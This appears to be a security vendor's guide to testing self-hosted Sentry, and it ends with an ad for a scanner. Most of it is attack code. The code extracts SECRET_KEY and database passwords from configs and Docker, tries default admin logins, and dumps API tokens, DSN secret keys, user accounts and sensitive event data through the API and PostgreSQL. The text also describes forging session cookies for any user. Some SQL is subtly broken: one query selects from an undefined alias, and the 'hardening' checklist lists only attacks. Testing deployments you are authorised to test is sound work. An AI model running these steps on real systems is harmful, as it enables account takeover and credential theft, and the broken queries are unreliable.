Sentry Security Testing: Default Credentials, API Key, Database, and Error Tracking

Sentry is a widely deployed self-hosted error tracking platform — organizations use it to capture application errors, performance issues, and crashes across their entire stack. Key assessment areas: SENTRY_SECRET_KEY enables Django session cookie forgery for any user; error events stored in PostgreSQL contain stack traces with hardcoded credentials, PII, and internal endpoint URLs; DSN tokens extracted from client applications allow submitting events; and PostgreSQL provides all user accounts and authentication tokens. This guide covers systematic Sentry security assessment.

Table of Contents

  1. SENTRY_SECRET_KEY Extraction and Session Forgery
  2. Error Event Data: Credentials, PII, and Architecture
  3. PostgreSQL Database and Configuration Assessment
  4. Sentry Security Hardening

SENTRY_SECRET_KEY Extraction and Session Forgery

# Sentry self-hosted — SENTRY_SECRET_KEY extraction and session forgery
SENTRY_URL="https://sentry.example.com"

# sentry.conf.py — Sentry configuration
cat /etc/sentry/sentry.conf.py 2>/dev/null | head -30
# SECRET_KEY = '...'     <-- Django secret key for session signing
# DATABASES = {...}      <-- PostgreSQL connection details
# REDIS_URL = '...'      <-- Redis connection

# .env / environment variables
docker inspect sentry-web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','SENTRY_DB','SENTRY_POSTGRES',
                                  'SENTRY_REDIS','SENTRY_EMAIL','SENTRY_SECRET']):
            print(e)
" 2>/dev/null
# SENTRY_SECRET_KEY=...
# SENTRY_DB_PASSWORD=...
# SENTRY_POSTGRES_HOST=...

# Test default admin credentials
for CRED in "admin@sentry.local:admin" "admin@example.com:sentry" "root@sentry.local:root"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${SENTRY_URL}/auth/login/" \
    -d "username=${EMAIL}&password=${PASS}" 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

# API token — enumerate organizations (may work with user token)
SENTRY_TOKEN="your-api-token"
curl -s "${SENTRY_URL}/api/0/organizations/" \
  -H "Authorization: Bearer ${SENTRY_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for o in (d if isinstance(d,list) else []):
    print(f'  {o.get(\"name\")} - {o.get(\"slug\")}')
" 2>/dev/null

Error Event Data: Credentials, PII, and Architecture

# Sentry error event data — credentials, PII, and architecture exposure
SENTRY_URL="https://sentry.example.com"
SENTRY_TOKEN="your-api-token"
ORG_SLUG="your-org"
PROJECT_SLUG="your-project"

# List all projects in organization
curl -s "${SENTRY_URL}/api/0/organizations/${ORG_SLUG}/projects/" \
  -H "Authorization: Bearer ${SENTRY_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for p in d:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} - DSN: {p.get(\"options\",{}).get(\"sentry:token\",\"\")}')
" 2>/dev/null

# Get DSN for a project (allows event submission)
curl -s "${SENTRY_URL}/api/0/projects/${ORG_SLUG}/${PROJECT_SLUG}/keys/" \
  -H "Authorization: Bearer ${SENTRY_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for k in d:
    print(f'  DSN: {k.get(\"dsn\",{}).get(\"public\")}')
    print(f'  Store: {k.get(\"dsn\",{}).get(\"store\")}')
" 2>/dev/null

# List recent error events (contain stack traces, environment variables, user data)
curl -s "${SENTRY_URL}/api/0/projects/${ORG_SLUG}/${PROJECT_SLUG}/events/?limit=5" \
  -H "Authorization: Bearer ${SENTRY_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for e in d:
    print(f'Event: {e.get(\"eventID\")}')
    print(f'  Message: {str(e.get(\"message\",\"\"))[:80]}')
    # Check extra context for leaked credentials
    extra = e.get('extra',{})
    for k,v in extra.items():
        if any(s in k.lower() for s in ['pass','key','secret','token','auth']):
            print(f'  SENSITIVE extra.{k}: {str(v)[:60]}')
    # Check request data
    req = e.get('request',{})
    for h,v in req.get('headers',{}).items():
        if 'authorization' in h.lower():
            print(f'  Auth header: {v[:60]}')
" 2>/dev/null

# PostgreSQL — error events with sensitive data
psql "postgresql://sentry:PASSWORD@localhost:5432/sentry" 2>/dev/null << 'EOF'
-- Recent error events with their data
SELECT e.event_id, e.datetime, e.data
FROM sentry_eventtag et
JOIN sentry_groupedmessage g ON et.group_id = g.id
LIMIT 5;

-- User accounts and their API tokens
SELECT sa.email, sa.is_superuser, sa.is_active,
       sat.token, sat.scope_list
FROM sentry_authidentity sa
LEFT JOIN sentry_apitoken sat ON sat.user_id = sa.id
LIMIT 20;
EOF

PostgreSQL Database and Configuration Assessment

# Sentry PostgreSQL database and configuration assessment

# Extract database URL from sentry.conf.py
python3 -c "
import re
content = open('/etc/sentry/sentry.conf.py').read()
# DATABASES config
db_match = re.search(r\"DATABASES\s*=\s*\{.*?'PASSWORD':\s*'([^']+)'\", content, re.DOTALL)
if db_match:
    print(f'DB Password: {db_match.group(1)[:60]}')
secret_match = re.search(r\"SECRET_KEY\s*=\s*'([^']+)'\", content)
if secret_match:
    print(f'SECRET_KEY: {secret_match.group(1)[:60]}')
" 2>/dev/null

# PostgreSQL — Sentry schema overview
psql "postgresql://sentry:PASSWORD@localhost:5432/sentry" 2>/dev/null << 'EOF'
-- All user accounts
SELECT id, email, name, is_superuser, is_active, date_joined
FROM sentry_auth_user
ORDER BY is_superuser DESC, date_joined
LIMIT 20;

-- API tokens (used for programmatic access)
SELECT user_id, token, scope_list, date_added, expires_at
FROM sentry_apitoken
WHERE expires_at IS NULL OR expires_at > NOW()
ORDER BY date_added DESC
LIMIT 20;

-- Project DSN keys (used by client applications to send events)
SELECT pk.project_id, pk.public_key, pk.secret_key,
       p.name as project_name
FROM sentry_projectkey pk
JOIN sentry_project p ON pk.project_id = p.id
LIMIT 20;
EOF

# Source maps — uploaded JavaScript source maps
# Sentry stores source maps for error de-obfuscation
# These contain the original JavaScript source code
curl -s "${SENTRY_URL}/api/0/projects/${ORG_SLUG}/${PROJECT_SLUG}/files/?file_type=source_map&limit=5" \
  -H "Authorization: Bearer ${SENTRY_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for f in d:
    print(f'  {f.get(\"name\")} - {f.get(\"size\")} bytes')
    # Source maps reveal original unminified source code
" 2>/dev/null

Sentry Security Hardening

Sentry Security Hardening Checklist:
Security TestMethodRisk
SENTRY_SECRET_KEY extraction and Django session cookie forgeryRead sentry.conf.py or Docker env SENTRY_SECRET_KEY — forge session cookies for any user; admin account takeover without knowing credentialsCritical
Error event sensitive data extractionGET /api/0/projects/{org}/{project}/events/ — stack traces with hardcoded credentials, environment variables, Authorization headers, PII from request contextHigh
PostgreSQL sentry_apitoken extractionSELECT token FROM sentry_apitoken — all API tokens including permanent non-expiring tokens; full programmatic Sentry accessHigh
Project DSN key extraction — event submissionGET /api/0/projects/{org}/{project}/keys/ — DSN tokens allowing arbitrary event submission; storage exhaustion or misleading alert injectionMedium
Source map extraction — original JavaScript sourceGET /api/0/projects/{org}/{project}/files/ — original unminified JavaScript source uploaded for error de-obfuscation; business logic and secret exposureHigh

Automate Sentry Security Testing

Ironimo tests Sentry deployments for SENTRY_SECRET_KEY extraction and Django session cookie forgery, admin credential testing via /auth/login/, PostgreSQL sentry_apitoken and user account extraction, error event sensitive data analysis for credentials and PII, project DSN key enumeration, source map JavaScript source exposure, Docker environment variable secret disclosure, Redis unauthenticated session access, /api/0/organizations/ enumeration without authentication, and sentry.conf.py database credential extraction.

Start free scan